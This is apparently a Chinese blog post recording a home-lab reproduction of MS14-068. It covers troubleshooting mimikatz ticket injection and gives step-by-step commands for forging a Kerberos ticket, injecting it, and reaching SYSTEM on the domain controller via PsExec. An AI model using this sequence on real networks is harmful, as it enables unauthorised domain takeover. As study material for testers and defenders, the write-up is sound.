前言
这几天在研究MS14-068域普通用户提权的问题,自己搭建了域环境,使用普通域用户死活提不上权限。现在终于解决了,所以把研究过程记一下。
问题:mimikatz导入凭证后依然“拒绝访问”域控文件
可能点一:mimikatz将凭证注入内存不成功
mimikatz在注入凭证后,使用”kerberos::list”看一下是否当前凭证只有一个,若只有一个则说明注入成功。
若有多个,如下图所示:
则说明伪造的凭证“可能”注入成功,但是后续访问域控共享文件“任然”可能失败。
若一个都没有,”kerberos::list”为空,则说明凭证注入失败,则需要多试几次,或者使用更高级权限的mimikatz注入试试
可能点二:域控未安装“域证书服务”(这次失败点就在于此)
因为是新手,对域控环境搭建不是很熟悉,所以我在搭建域控环境的时候,只安装了“域服务”和“DNS服务”(如下图红框所示),并未在意“AD证书服务”的安装(如下图箭头所示)。经过后续尝试才发现需要安装这个服务,才能成功进入域控文件共享。
MS14-068漏洞复现
MS14-068漏洞可以将一个普通域用户提升到域管权限,从而进行后续的横向渗透,该漏洞有几个必要条件:
- 域控上无KB3011780补丁
- 拥有一台域内机器的控制权限
- 拥有一个域账户的SID、账号、密码/hash
工具下载:
1 | Ms14-068.exe 下载地址: https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068 |
漏洞利用
获取普通域用户SID:
1 | whoami /user |
获取域控主机名/IP地址
1 | net group "Domain controllers" /domain |
注意不要带$符号
测试是否可以访问域控共享文件
1 | dir \\域控主机名.域名\c$ |
可以看到显示“拒绝访问”,这是正常,域普通用户当然没有权限访问域控共享文件,现在我们需要使用MS14-068提权。
MS14-068需要几个必要的参数,SID、域用户名、域控地址,另外还需要密码,若没有密码可以使用–rc4来使用hsah生成凭证
1 | S14-068.exe -u test1@testaa.com -s S-1-5-21-1054765563-66723455-3431114319-1104 -d WIN-GPBP3K667HC.testaa.com -p X******* |
进入mimikatz
1 | kerberos::list //查看当前凭证 |
使用如下命令导入刚刚生成的伪造凭证
1 | kerberos::ptc 凭证地址 |
再次访问域控的共享文件,即可发现已经成功列出目录了
使用Psexec64.exe横向移动
1 | psesec.exe -accepteula \\IPaddress -s cmd.exe |
可以观察到命令提示符已经变了,且用户权限为域控的system权限(由于Psexec64.exe的-s原因)。看IP地址也可知晓已经成功登陆域控机器了。